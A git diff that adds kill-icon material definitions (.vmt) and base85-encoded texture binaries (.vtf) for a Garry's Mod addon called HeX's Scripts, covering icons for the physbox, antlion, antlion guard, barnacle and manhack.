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 literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/func_physbox_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/func_physbox_killicon.vmt new file mode 100644 index 0000000..62ad120 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/func_physbox_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/func_physbox_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/func_physbox_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/func_physbox_killicon.vtf new file mode 100644 index 0000000000000000000000000000000000000000..3c564762fcb814960223c995be9193ba073a9728 GIT binary patch literal 5696 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 V$k$T+t=eP1#e>Qe>3i(>`x92a+1vmC literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_antlion_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_antlion_killicon.vmt new file mode 100644 index 0000000..d951464 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_antlion_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/npc_antlion_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_antlion_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_antlion_killicon.vtf new file mode 100644 index 0000000000000000000000000000000000000000..c45106c413b04d7927fe16a446206e9c766632c1 GIT binary patch literal 5696 zcmeHKeN0nV6u+r>;20Z3qJ6L z45M?9%_V=Q-%VZdUguy;h`g2y>KrtX2-7E0EzFV_F{i*qNYgKi7j+J%ABR0$fy+QL zBq<|XPly2W%7IS*G&!#r=yae}xq^dUCHfGa;G65%q$7yA0f*Z#+u5eBOmbyX;N}eo;XZV zAL2rK+Uzg>a4LvWFFq^#D$1S5t!^jKh*J}Hb>EC_#WVK-zKGYJyTH05=OO}?!CY8mixT@<_fBtKFS(j4U_C=19 zQd5YWYAStFd%oSp;vr1h3GoU0oMJp>Ia`}b!1<)&SYN!-0_ATzo4>}bSQC(6GF=c< zzE7Tiy*9=x|NRn-fB8>d`Lg)oUd0UiyJ{g`f-s#o^fu6LdtMv*qb2%`HwKJDM(P?u z`69&crMa+wi>JYBk0d&NQ_M#d>uQv@d$%CCN#)JAmW+>`*GtGUv-zE{JBqot#}59) zga|wrbc`lBwBQoT2YF;^=N;?N{fcO;JD$^!rSwn)j}pn>jUPY0La40UM>+dU1_dsN(l;`Q;!U(2Y>20{(3;X77pG6 zUQiwC2eqMe18N@t{q9cq5+MT~kwpe(Z(-r~^hfCrME&)mwd$~#`j0sNpI zr7Ss-gtGdSn&xVV7)de-9?*_CK;@I@^$w-eCShHWF&*CBpCEkdGsiChf+4q0-NF z)s(l}ZnO1(2Co++I7TKH%B1wnZJ_rq@|e3uFRkdVm8NUhZdU>x$|kp?3W?`Wp4 zjO~ZxPFQdd@C)AQjThWnb(ui3ev0Se@OXtEZMEKSwzKsdq@UPK-O;uo7Js~fhUX?) zHh~DVhZAJ^wM)?YJFV=#i50Bkpw6C9Npl5oLRy45&c)&h{rutj^v?|oc`&s>F}w0D?EVJ%>d#Bn{$aC= zXwV|{{iObZ<=vOP{sOEd6f(cUHgML*7j?e-Inr=l8*%>(zqQixjgsZf7haHcaI=Kp z3(Q`$BmCl*o_gCr9m>ae1m^RkQ-2mUxWn6#&xzu&^CiyS?4tJ{~>yy$GPZvQvJWM~R7f0&fNY_WSCR(N`YyJ80iVKS4UbR0zZjq!ju^Tk(_bMD$ z!{SftuoH~J?`pQ)pyHL#Z*-iTRt^mg>+|XRABb1f?SIybTPp?`g7#>bJx~IH_d^b9 z*Vs)&pZ!8YKdq?Ty4T;2W?i8b)Ec+i$B&#{3#me#i+nVBwGaARQ*J$zFN&rmb)V(b z`_6aKH1c{6^k=m61ZRA9l+PYGKIC0w*%`Ip;_pXe!1HF5SEU literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_antlionguard_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_antlionguard_killicon.vmt new file mode 100644 index 0000000..4c23a2e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_antlionguard_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/npc_antlionguard_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_antlionguard_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_antlionguard_killicon.vtf new file mode 100644 index 0000000000000000000000000000000000000000..2726d01461a7b2866750333f2d4ea6340334b4e5 GIT binary patch literal 5696 zcmds44Nz3q6}}5RTtwWB@`Q>EBocoTBg7~s8r_G+AJE2i`W{BBL8O*ygf*ckcEx zSrl7Hd=1w6${qEA+qQ!}i8ZfvHET@c zlC7B)pN+WE)hhd~0H^rB^>5ZBn>BvwpD)WeDC-IyFWrwR%Q9YYP%7gxrY<`#A>rK} z)vYoiQX0#z0FI(Ybss&RoKk(OO(pE#kHHL&J^EJ-74cZp?Lq| zghh?(j1C#cuSr(fszDiD4LSAJRk5z zoc}@s-gpY56Km3(w#Ko0TBFob&H5b0KIJ_3Gdy=)$9RyW z=F^7?Ix}_cX3!_=?`!^9-amntniM{Nnlhwv)13=;*zdjetr=?TgoMOMb8$ZC-(NH7 zq~8r|eWzy4F65Uy*Yd_TtI?M0XT$q1iDK*$np6D6{F4yR`vQlh5t4MlK!0+=S%LnM zz@_@Y&p_LGLlC2hs$6^6^lsfm#GjCN?wC65w1J|2K_H~dLrC$Aws@iZwI2M_ ze$hFm+LqcXN}p5@n^;t$;BhKYj)$!Lb~|l*=zqw4U1urnEW-WE1(4{ZGAD`c z7xl4{?x@qe4Xz;O3vxt~(lV&uX`t~w7Jl3J{Tt{wXK=dWji?St>fHyI+0Gc4{MSSu zsexuBRs2ED2XDr&?K2(~f0cOovD4uV)-6eA4RF699w7zktF3;vgU&=oi%?Nr=l^5H zBj94HVWca5IF6UXG4-^YJC%42`ts9Y+eYVAq(xD$|Do|%P-IQK*^=Cf_V66X1?Y|i z+m6fe4dtTW@f}i{UR8ECp%LZj1r;}>(tDLHCz$!Gl0?1PzHwRQ<`S0A^)Pz+A5s99 z)w<hlY+=O&6U}tL%x{Fm z)Mz%3s0TQJhIC3^v45U7vmHpFvA+zZk!MChJ!SfV4zGhnQxn4rNWDKjoLO=9<57$s zHs}x^DCtN;|0wp<-(NanS4%=cOJWGq|9|jbXLe>kn*UKQj^5_M_i5vtg3g`tx}bf@ zHevO9oy{poLwn%1kN-N?Sn(&<{ek#t@`@g!3)s#0B&aSrR*%yeo)ABM;-e!zte-)B zvoPTP$NWTf-|ato`khcusg5>ZaXlCKJI#Zi-*jma^A~V>qN$)`U(i#3RrZa7NT8qA zc+0fEDlXgXEQ9)tG_)&ZXi4OXAZVeGhIAu_JD?eW5J4KQubV&Nu6`NU!CihM#rsuq z)QpJvMe zhWt4CJ5Qz?Ec;#g0{3Urn6I!OSLAeY^D{=Jc?wATL%!gfZs%uR9>n5-kSI}8y1qL; z^bj8f_A~X@rr%-xZWN3`zr%Rg#OjqKafCqMMAkfT;fMNQJ$;$%ujHP;S2TBI(+Z!2m_i3r$zXH(qwtTSy>7&mV_+Yh?Cfz15)ovlCc8l_ZsF@aU2o;n|%H0ZbmJC2@CY>zwwFie&jj@NI0*?(#PLT&7h#wd1Kie1CEAb;rrHdm!4> za#Go^sndvKs%3rHTv5k&<7;|hma)?8WakU%QkZe;xA`xOS?$tCc=f+?jX{Yt2jz*- z{}10|op#l1lA25DYr|D52 z0`Eqyn0$HV29(2rgC;Wf{x{KCrE#O-6wtGW*u9@x(JJU_Sm4{~wz zW>4@9&<7#P?0HN-*i$~@;pNJAJODEO>N$I-H8Dt*&+`=X6+=Zqd_LmJA37?Qmn@}ry|^pA=EaD4giGBAGFA<6Drl>F>Q zkG=tyGkgu>*9(GMz3%CMU$ozs#fAv$>Y2=c6~|EnqW>_TEVoc+nc0u&gLrm}H(gw6 z^3BL(mhZ41){(jCVemnD@IK(i-h Odpt^q^pWp+`u86Mvuij2 literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_barnacle_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_barnacle_killicon.vmt new file mode 100644 index 0000000..7bb50de --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_barnacle_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/npc_barnacle_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_barnacle_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_barnacle_killicon.vtf new file mode 100644 index 0000000000000000000000000000000000000000..053ef16f472835f45ee83d4571b64d6dcb5973c1 GIT binary patch literal 5696 zcmeHKZA=_R7@oyjkTwUGkWJ4}!XXDXu?b=VZK&xk7P0$7?|$q6KP1q*MneUTCYHq1 z^C;5RCNy`Y5@SL=6=TvL4J{^XY7@X8wSHlZ+KQZVQAqJCJqQgS78u`|y}2Lz=h_@i zF2o^w!!sW{^E~gn?>kec)uJqfPzF41cog_U4uk~wpA{u*FX9ht=#q1x&a%Rf&6XI( zy5NU4U?@{dMGs>voHpvQIo{6eb1{TOQLLC+f_2>uFYtC=zc!1I)ZZ_$`SlH$xAS^r z$$_L2j9)BANW*oB{`~F6PQE!Xh6t3M*(gL?J}U3FA>7z_1{LKwE}wmDVF00)YJVd^ z>brI|R6~dZ;R;F0z0>8N{G=d42<*Q>(|Vx)Lp9_afqmY%Az|_Tiv5JGogL&JZaT)QT>f?f{fR+OZAnb%8($<~JyB)$?~ zPY~8BM5Q^i)j`O0SYJ_+%}=#|-6GiE6KqGRKV}Gm^}zJ%S~M^|M)`IrN=K^iPd2}4 zywbBr_gQN~i{VKe?OY!x%rEY<{Z!d9(VHVa)}Jf59r-$&y~TV(hxh+`VAH;>$BbA$>ZP9H@3 zLH|DIZom-E9ytGv=Cj$}m&@W`AM+0|ht%{LjgO~qQGcQ4fqVt_%0L`P4XkoJYU(c= zrSl6|{($-Jbl1y%XR&*IH42#vq}+c%-)p$_VGpE>emJz z5t3fjKV&{|_u~Y=@|pHiPm!enolkS(PelEohrbUzD5rO*U?Ps)?)3lO%jA_XS*Av% z?2!E2%!_|~_6)5rJ$eNhgQr7)S7xqbc7mGJ~r~C~+K#6=%x)AnH zh7JC1D5 p%Kf{V#{aPH&5!%LBw_3tx@6`3aDV>){z?!1^q>q6$o0VW_z#-_*rosg literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_manhack_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_manhack_killicon.vmt new file mode 100644 index 0000000..cf4ad69 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_manhack_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/npc_manhack_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_manhack_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_manhack_killicon.vtf new file mode 100644 index 0000000000000000000000000000000000000000..0fd0e61ef74478a40c28b68832de2c53f66b9031 GIT binary patch literal 5696 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 